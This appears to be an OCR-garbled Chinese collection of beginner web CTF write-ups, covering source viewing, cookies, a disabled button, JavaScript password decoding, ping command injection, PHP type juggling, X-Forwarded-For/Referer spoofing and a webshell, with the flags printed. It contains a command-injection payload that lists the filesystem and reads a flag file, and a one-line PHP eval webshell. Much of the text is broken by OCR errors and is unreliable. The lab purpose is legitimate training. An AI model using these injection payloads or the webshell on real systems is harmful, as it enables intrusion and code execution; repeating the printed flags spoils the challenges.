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<!DOCTYPE htmlL>
<html lang="en"> |event
P <head> () </head>
w <body>

P <script> (s </script>

<h1>FLAG is not here</hl>
b <div id="webTrans2009156176"> (- </div>
</body>
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l<html>
<head>
<meta charset="UTF-8">
<title>Fp 3 < /title>
<link href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.mi
<style>
body{
margin-left.auto;
margin-right:auto;
margin-TOP:200PX;
width:20em;
}
</style>
</head>
<body>
<h3>{REN&index.phpBIEHFZE? </h3>
<?php
$flag="Cyberpeace{855A1C4B3401294CB6604CCCI98BDE334}"
7>
</body>
</html>
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GET /HTTPM 1

Host: 22024952 13334313

User-Agent: Mozilla/s.0 (Windows NT 10.0; Wing4, x64; rv.78.0) Gecko/20100101 Firefox/78.0
Accept: texthtml applicationfxhtml+xml applicationfxml,g=0 .2 imagefwebp * M q=0 .2
Accept-Language: zh-CH zh;q=0.8 zh-TW q=0.7 zh-HK;g=0.5 en-US;g=0 .3 en;g=0.2
Accept-Encoding: gzip, deflate

Connection: close

Cookie: look-here=cookie php

Upgrade-Insecure-Reguests: 1

Pragma: no-cache

Cache-Control. no-cache

FBAFKVTH ... /cookie.php TLH

See the http response
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See the http response
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W i URL Il @ ® AE HML CS5 JS XHR =& B ®@ ws Hp [J=msEs F
£ AE ES et BEE £ I F (B EEL Cookie R W #H RS

Fa 22024952 e BrowserTabCh...

' GET  j libsbaiduc.. bootstrap.mincss stylesheet css BEE 9722.. '\ Content-length: 253
?)  Content-Type: text/html

] GET # 22024952 favicon.ico FaviconLoader.. html| 2EF 291
Date: Mon, 14 Sep 2020 03:57:34 GMT

flag: cyberpeace{e2046dfb15: 0fb0001bb1a5a637a3}
Keep-Alive: timeout=5. max=99
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<form action="" method="post™» height: Sepx;
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type="submit" wvalue="flag" name="auth"> T
< forms btn-default.disabled, .btn-
cdiv id="webTrans2ee9889365™ [w ¢ /divs default[disabled],
</bodys fieldset[disabled t T

<input disabled="" class="btn btn-default" style="height:50px;width:200px;" type="submit" value="flag"

name="auth">
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O ODE=s Dzslg DEfE NREE (Iemess Ous OAF B &8 7 DESHE @ HackBar ([ Adblock Plus

FiE 2 [a] (index) X ExtensionContentjsm B |
. 16 if(i> 5 &% 1< k-1) o
v == 17 p += 5tring.fromCharCode ({0 = tab2[1i]});
v & 220.249.52.133:56218 } -
_ i 3.
D) (index) 19 p #= string.fromCharcode(tab2[17])}; ‘
28 pass = pjreturn pass;
b & resource://gre 21 T
22 string["fromCharCode™ ] {(dechiffre (" W35, x35\x2c\ X35 X362 W35\ X34\ 2\ x37\x39 K20 \ K31\ 31\ x35 \x2c \ K}
»
24 h = window.prompt('Enter password'};
25 alert( dechiffre(h) ): i "
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commandl & command2 : Z&#4Tcommand2 /5 AT commandl
commandl &% command2 : 5E#4Tcommandl/E AT command2

commandl | command2 : R#4Tcommand2
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https://blog.csdn.net/qq646748739/article/details/81660514
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PING

BB EpingHItEiE

PING

ping -c 3 127.0.0.1

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.

64 bytes from 127.0.0.1: icmp seq=1 ttl=64 time=0.076 ms
64 bytes from 127.0.0.1: icmp seq=2 ttl=64 time=0.057 ms
64 bytes from 127.0.0.1: icmp seq=3 ttl=64 time=0.053 ms

--- 127.0.0.1 ping statistics ---

3 packets transmitted, 3 received, 0% packet loss, time 1998ms
rtt min/avg/max/mdev = ©.053/0.062/0.076/0.010 ms

HIsFISCHE 127.0.0.1| 1s -1R / BE A XM



ping -c 3 127.0.0.1| 1s -1R /
/:

total 68
drwxr-xr-x root root 4096 Nov 16 2018 bin
root root 4096 Apr 10 2014 boot
root root 360 Sep 15 13:11 dev
root root 4096 Sep 15 13:11 etc
drwxr-xr-x root root 4096 Sep 15 13:11 home
drwxr-xr-x 12 root root 4096 Sep 29 2018 1lib
drwxr-xr-x 2 root root 4096 Sep 29 2018 1libé64
drwxr-xr-x 2 root root 4096 Sep 29 2018 media
drwxr-xr-x 2 root root 4096 Apr 10 2014 mnt
drwxr-xr-x 2 root root 4096 Sep 29 2018 opt
dr-xr-xr-x 4707 root root ® Sep 15 13:11 proc
root root 4096 Sep 29 2018 root
root root 4096 Nov 16 2018 run
root root 81 Sep 27 2018 run.sh
root root 4096 Oct 19 2018 sbin
root root 4096 Sep 29 2018 srv
dr-xr-xr-x 13 root root © Aug 2 15:17 sys
drwxrwxrwt root root 4096 Sep 15 13:11 tmp
drwxr-xr-x 1 root root 4096 Sep 29 2018 usr
drwxr-xr-x 1 root root 4096 Nov 16 2018 var

drwxr-xr-x
drwxr-xr-x
drwxr-xr-x

Y I S =

drwxr-xr-x
-PWXIPWXr-X
drwxr-xr-x

N B R RN

drwxr-xr-x

=

HRESRKIE A flag. txt



/home:
total 4
-rw-rw-r-- 1 root root 44 Sep 15 13:11 ﬁﬂﬂg.txt

/1lib:
total 112
drwxr-xr-x root root 4096 Sep 29 2018 ifupdown

root root 4096 Sep 29 2018 init

root root 71528 Jun 13 2017 klibc-gLiulUM5C1Zpwc251
root root 4096 Sep 29 2018 1sb

root root 4096 Apr 10 2014 modprobe.d

root root 4096 Sep 29 2018 plymouth

root root 4096 Sep 29 2018 resolvconf

root root 4096 Sep 29 2018 systemd

root root 4096 Mar 22 2014 terminfo

root root 4096 Sep 29 2018 udev

root root 4096 Sep 29 2018 x86 _64-linux-gnu

drwXxr-xr-x
-PWXPr-Xr-X
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwXxr-xr-x

W N W N W R NN

drwxr-xr-x

=
Ui

drwxr-xr-x

B

drwxr-xr-x

S

drwxr-xr-x

/1ib/ifupdown:
total 4

cat&fE X fF 127.0.0.1 | cat /home/flag.txt

ping -c 3 127.0.0.1 | cat /home/flag.txt
cyberpeace{00fba@d80d52b6fe5bf2aabed8098db2}
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simple_php 88 swiiteupsavoLLvviggt |
rErs:

HEXR:
BEA: INFImkphpRRFaNEsS, FRIMEES S Z EE T/ 1{TphpftiE.

AR | RIAIELI A= |

ALY

BEME: B

<?php

show_source(__ FILE_);
include( )
$a=@$_GET['a'];
$b=@$_GET['b'];
if($a==0 and $a){

echo $flagi;
b
if(is_numeric($b)){

exit();
b
if($b>1234){

echo $flag2;

BRI R B RFAREE AN afb A5 2 WiE A a=03 HafE R0 X2 —ANFfE B Aieis2a=0A%E 5 min L —AAikafE &0/
F B0 E—AN e S X AN R 45 B — ¥ flag

gt T F - ANfEA is_numericB # — AR B R BB F B F R/, bool is_numeric ( mixed $var ). WR var REEREFEF
FrER R E TRUE, BRRE FALSE R BbERZMEMIEH, FrUbAGERET, Frbli#iEb=A £ =bE K T12347 H¥iflag

HIi& 22=0A88b=123456A



<{?php

show source(  FILE ):

include ("config. php”) ;

$a=@$_GET[ a’ |;

$b=@$ GET['b’ 1;

if($a==0 and $a){
echo $flagl;

if(is_numeric (§b)) {
exit();

if($h>1234) {
echo $flag2:
}

>

Cyberpeace{647E37C7627CC3E4019EC69324F66C7C}

O Oz Ome DBEde Neg (IxfmEx Qe Owe B

Encryption v Encoding~v SQL~ XSS~ Other ~

& Load URL http://220.249.52.133:35040/?7a=0A&&b=123456A

B split URL
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xff_referer (W88 ®twiteupsiEsR - DengziRfit |
rEsy: .

A EFR
S XBIFEFNTHESIxFOreferer 2 a] LARIERY.
[ http://220.249.52.133:30419

illSss

@A 03:59:51 | FERT |

&7

ipHtedAsn/9123.123.123.123

BT R R xftfireferer XFF

X-Forwarded-For (XFF) J&FRiEAE S HT TPAZE 5k 51 3135745 77 2082 2 Web AR 5 28 1 & /- i B JE 26 (1 1P BE PRI HT TP SR Sk 7 Bt
R B HE I, xR VR AR S5 2% R0 E R #F M R KiphttpiE Rk 7 B

3 H T DL B R I & dhttp 2L B B X-Forwarded-For = B A4 3 1 SR i | ZKip

Referer HTTPR ¥ btk (referer, SiHTTPreferer) RHTTPRLFI—ANFE, FRFBrmMEBILEEZI UMM, RHKERZURL, #t
B)TEYL, BEHTTPRIEHAE, 2457/ R TAT AR 2 U7 25 IR R 3R, 3%+ 4 P SR X A Dy i D B85 ) il i SR
RIBYE, refererstf &5 URIR S 8% 24 B0 U5 18 22 R Surlb i BE 32 2] B 2,  ERxF—#E, refererth Al BB

X-Forwarded-For:123.123.123.123 Referer:https://www.google.com

IINE] Bk A



¥-Forwarded-Far
Referer

Request

Raw | Params | Headers | Hex

123123123123
https: fwww .google.com

Response

Raw | Headers | Hex | HTML | Render

— <html=
Name Value
‘ I Add <head>
Host 220.249.52.133:30419 [a <meta charset="UTF_8"
User-Agent Mozilla/s.0 (Windows NT 10.0; Wing4,; x64; rv:78.0) Gecko/201 ... R Remove <itlesindex<fitle>
Accept texthtm, ication/xhtmi+xml wxml; g=0.9 imag - <link href="http: Mibs baidu.com/Mootstrap/3.0 3/csshootstrap.min.css” rel="styleshest" />
Accept-Language zh-CN,zh;g=0.8 zh-TW;q=0.7 zh-HK;g=0.5 en-US;q=0.3 en,g=0.2 Up =style=hody{
Accept-Encoding gzip, deflate — margin-left:auto;
" Down
Connection close 5
Cookie look-here=cookie php m»argln-'[OP.Zl]llPx,
width:20em;
Upgrade-Insecure-Requests 1 Yelstyles
Cache-Control max-age=0 <heads
Content-Length B3 <hody>
¥-Forwarded-For 123123123123 <p id="demo"=ip Hihi: £ 51 123.123.123.123</p>
Referer hitps: ffwww google .com ‘v <script: ‘demo").innerHTML="45 313 5| https://www.google.com";=/script=
¥-Forwarded-For:123.123123.123 i <script demo).innerHTML="cyber 1622 73033y
Referer:https: /iwww google.com scripts
<hody>
<ihtml=
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webshell 888 swriteupmiZEsk - Dengzipft |
Ry

AEFRIR:
Bffix: NTEETphp—aiE BEREEE FHEEEHTEindex.phpE,

FBizs: W http://220.249.52.133:31542

PRI S
flitat: 03:50:48 | gEmt |

MBS BE

hitps:/iblog.csdn.net/gq_39670065

{F&{FEHwebshelllg?

<?php @eval($_POST['shell]);?>
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